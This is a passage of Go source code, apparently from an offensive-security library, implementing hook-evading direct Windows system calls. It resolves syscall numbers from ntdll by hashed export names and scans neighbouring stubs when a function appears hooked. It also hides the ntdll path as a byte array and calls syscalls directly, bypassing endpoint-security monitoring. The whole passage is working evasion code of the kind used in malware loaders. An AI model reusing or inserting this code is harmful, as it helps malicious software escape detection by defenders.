uintptr, modulepath string) { 119 | var badstring *sstring 120 | start, size, badstring = getMLO(i) 121 | modulepath = badstring.String() 122 | return 123 | } 124 | 125 | //NtdllHgate takes the exported syscall name and gets the ID it refers to. This function will access the ntdll file _on disk_, and relevant events/logs will be generated for those actions. 126 | func DiskHgate(funcname string, hash func(string) string) (uint16, error) { 127 | return getSysIDFromDisk(funcname, hash) 128 | } 129 | 130 | //NtdllHgate takes the exported syscall name and gets the ID it refers to. This function will access the ntdll file _on disk_, and relevant events/logs will be generated for those actions. 131 | func MemHgate(funcname string, hash func(string) string) (uint16, error) { 132 | return getSysIDFromMem(funcname, hash) 133 | } 134 | 135 | //getSysIDFromMemory takes values to resolve, and resolves from disk. 136 | func getSysIDFromMem(funcname string, hash func(string) string) (uint16, error) { 137 | //Get dll module BaseAddr 138 | //get ntdll handler 139 | Ntd, _, _ := gMLO(1) 140 | if Ntd == 0 { 141 | return 0, fmt.Errorf("err GetModuleHandleA") 142 | } 143 | //moduleInfo := windows.ModuleInfo{} 144 | //err := windows.GetModuleInformation(windows.Handle(uintptr(0xffffffffffffffff)), windows.Handle(Ntd), &moduleInfo, uint32(unsafe.Sizeof(moduleInfo))) 145 | 146 | //if err != nil { 147 | // return 0, err 148 | //} 149 | //addrMod := moduleInfo.BaseOfDll 150 | addrMod := Ntd 151 | 152 | //get ntheader of ntdll 153 | ntHeader := ntH(addrMod) 154 | if ntHeader == nil { 155 | return 0, fmt.Errorf("get ntHeader err") 156 | } 157 | windows.SleepEx(50, false) 158 | //get module size of ntdll 159 | modSize := ntHeader.OptionalHeader.SizeOfImage 160 | if modSize == 0 { 161 | return 0, fmt.Errorf("get module size err") 162 | } 163 | //fmt.Println("ntdll module size: " + strconv.Itoa(int(modSize))) 164 | 165 | rr := rawreader.New(addrMod, int(modSize)) 166 | p, e := pe.NewFileFromMemory(rr) 167 | 168 | if e != nil { 169 | return 0, e 170 | } 171 | ex, e := p.Exports() 172 | for _, exp := range ex { 173 | if strings.ToLower(hash(exp.Name)) == strings.ToLower(funcname) || strings.ToLower(hash(strings.ToLower(exp.Name))) == strings.ToLower(funcname) { 174 | offset := rvaToOffset(p, exp.VirtualAddress) 175 | b, e := p.Bytes() 176 | if e != nil { 177 | return 0, e 178 | } 179 | buff := b[offset : offset+10] 180 | 181 | // First opcodes should be : 182 | // MOV R10, RCX 183 | // MOV RAX, 184 | if buff[0] == 0x4c && 185 | buff[1] == 0x8b && 186 | buff[2] == 0xd1 && 187 | buff[3] == 0xb8 && 188 | buff[6] == 0x00 && 189 | buff[7] == 0x00 { 190 | return sysIDFromRawBytes(buff) 191 | } else { 192 | for idx := uintptr(1); idx <= 500; idx++ { 193 | // check neighboring syscall down 194 | if *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[0])) + idx*IDX)) == 0x4c && 195 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[1])) + idx*IDX)) == 0x8b && 196 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[2])) + idx*IDX)) == 0xd1 && 197 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[3])) + idx*IDX)) == 0xb8 && 198 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[6])) + idx*IDX)) == 0x00 && 199 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[7])) + idx*IDX)) == 0x00 { 200 | buff[4] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[4])) + idx*IDX)) 201 | buff[5] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[5])) + idx*IDX)) 202 | return Uint16Down(buff[4:8], uint16(idx)), nil 203 | } 204 | 205 | // check neighboring syscall up 206 | if *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[0])) - idx*IDX)) == 0x4c && 207 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[1])) - idx*IDX)) == 0x8b && 208 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[2])) - idx*IDX)) == 0xd1 && 209 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[3])) - idx*IDX)) == 0xb8 && 210 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[6])) - idx*IDX)) == 0x00 && 211 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[7])) - idx*IDX)) == 0x00 { 212 | buff[4] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[4])) - idx*IDX)) 213 | buff[5] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[5])) - idx*IDX)) 214 | return Uint16Up(buff[4:8], uint16(idx)), nil 215 | } 216 | } 217 | } 218 | 219 | return 0, errors.New("Could not find sID") 220 | } 221 | } 222 | return 0, errors.New("Could not find sID") 223 | } 224 | 225 | //getSysIDFromMemory takes values to resolve, and resolves from disk. 226 | func getSysIDFromDisk(funcname string, hash func(string) string) (uint16, error) { 227 | l := string([]byte{'c', ':', '\\', 'w', 'i', 'n', 'd', 'o', 'w', 's', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'}) 228 | p, e := pe.Open(l) 229 | if e != nil { 230 | return 0, e 231 | } 232 | ex, e := p.Exports() 233 | for _, exp := range ex { 234 | if strings.ToLower(hash(exp.Name)) == strings.ToLower(funcname) || strings.ToLower(hash(strings.ToLower(exp.Name))) == strings.ToLower(funcname) { 235 | offset := rvaToOffset(p, exp.VirtualAddress) 236 | b, e := p.Bytes() 237 | if e != nil { 238 | return 0, e 239 | } 240 | buff := b[offset : offset+10] 241 | 242 | // First opcodes should be : 243 | // MOV R10, RCX 244 | // MOV RAX, 245 | if buff[0] == 0x4c && 246 | buff[1] == 0x8b && 247 | buff[2] == 0xd1 && 248 | buff[3] == 0xb8 && 249 | buff[6] == 0x00 && 250 | buff[7] == 0x00 { 251 | return sysIDFromRawBytes(buff) 252 | } else { 253 | for idx := uintptr(1); idx <= 500; idx++ { 254 | // check neighboring syscall down 255 | if *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[0])) + idx*IDX)) == 0x4c && 256 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[1])) + idx*IDX)) == 0x8b && 257 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[2])) + idx*IDX)) == 0xd1 && 258 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[3])) + idx*IDX)) == 0xb8 && 259 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[6])) + idx*IDX)) == 0x00 && 260 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[7])) + idx*IDX)) == 0x00 { 261 | buff[4] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[4])) + idx*IDX)) 262 | buff[5] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[5])) + idx*IDX)) 263 | return Uint16Down(buff[4:8], uint16(idx)), nil 264 | } 265 | 266 | // check neighboring syscall up 267 | if *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[0])) - idx*IDX)) == 0x4c && 268 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[1])) - idx*IDX)) == 0x8b && 269 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[2])) - idx*IDX)) == 0xd1 && 270 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[3])) - idx*IDX)) == 0xb8 && 271 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[6])) - idx*IDX)) == 0x00 && 272 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[7])) - idx*IDX)) == 0x00 { 273 | buff[4] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[4])) - idx*IDX)) 274 | buff[5] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[5])) - idx*IDX)) 275 | return Uint16Up(buff[4:8], uint16(idx)), nil 276 | } 277 | } 278 | } 279 | return 0, errors.New("Could not find sID") 280 | } 281 | } 282 | return 0, errors.New("Could not find sID") 283 | } 284 | 285 | //rvaToOffset converts an RVA value from a PE file into the file offset. When using binject/debug, this should work fine even with in-memory files. 286 | func rvaToOffset(pefile *pe.File, rva uint32) uint32 { 287 | for _, hdr := range pefile.Sections { 288 | baseoffset := uint64(rva) 289 | if baseoffset > uint64(hdr.VirtualAddress) && 290 | baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) { 291 | return rva - hdr.VirtualAddress + hdr.Offset 292 | } 293 | } 294 | return rva 295 | } 296 | 297 | //sysIDFromRawBytes takes a byte slice and determines if there is a sysID in the expected location. Returns a MayBeHookedError if the signature does not match. 298 | func sysIDFromRawBytes(b []byte) (uint16, error) { 299 | return binary.LittleEndian.Uint16(b[4:8]), nil 300 | } 301 | 302 | func Uint16Down(b []byte, idx uint16) uint16 { 303 | _ = b[1] // bounds check hint to compiler; see golang.org/issue/14808 304 | return uint16(b[0]) - idx | uint16(b[1])<<8 305 | } 306 | func Uint16Up(b []byte, idx uint16) uint16 { 307 | _ = b[1] // bounds check hint to compiler; see golang.org/issue/14808 308 | return uint16(b[0]) + idx | uint16(b[1])<<8 309 | } 310 | 311 | //HgSyscall calls the system function specified by callid with n arguments. Works much the same as syscall.Syscall - return value is the call error code and optional error text. All args are uintptrs to make it easy. 312 | func HgSyscall(callid uint16, syscallA uintptr, argh ...uintptr) (errcode uint32, err error) { 313 | 314 | errcode = hgSyscall(callid, syscallA, argh...) 315 | 316 | if errcode != 0 { 317 | err = fmt.Errorf("non-zero return from syscall") 318 | } 319 | return errcode, err 320 | } 321 | 322 | func ntH(baseAddress uintptr) *IMAGE_NT_HEADERS { 323 | return (*IMAGE_NT_HEADERS)(unsafe.Pointer(baseAddress + uintptr((*IMAGE_DOS_HEADER)(unsafe.Pointer(baseAddress)).E_lfanew))) 324 | } 325 | 326 | //sstring is the stupid internal windows definiton of a unicode string. I hate it. 327 | type sstring struct { 328 | Length uint16 329 | MaxLength uint16 330 | PWstr *uint16 331 | } 332 | 333 | func (s sstring) String() string { 334 | return windows.UTF16PtrToString(s.PWstr) 335 | } 336 | 337 | //Syscall calls the system function specified by callid with n arguments. Works much the same as syscall.Syscall - return value is the call error code and optional error text. All args are uintptrs to make it easy. 338 | func hgSyscall(callid uint16, syscallA uintptr, argh ...uintptr) (errcode uint32) 339 | 340 | //getModuleLoadedOrder returns the start address of module located at i in the load order. This might be useful if there is a function you need that isn't in ntdll, or if some rude individual has loaded themselves before ntdll. 341 | func getMLO(i int) (start uintptr, size uintptr, modulepath *sstring) 342 | --------------------------------------------------------------------------------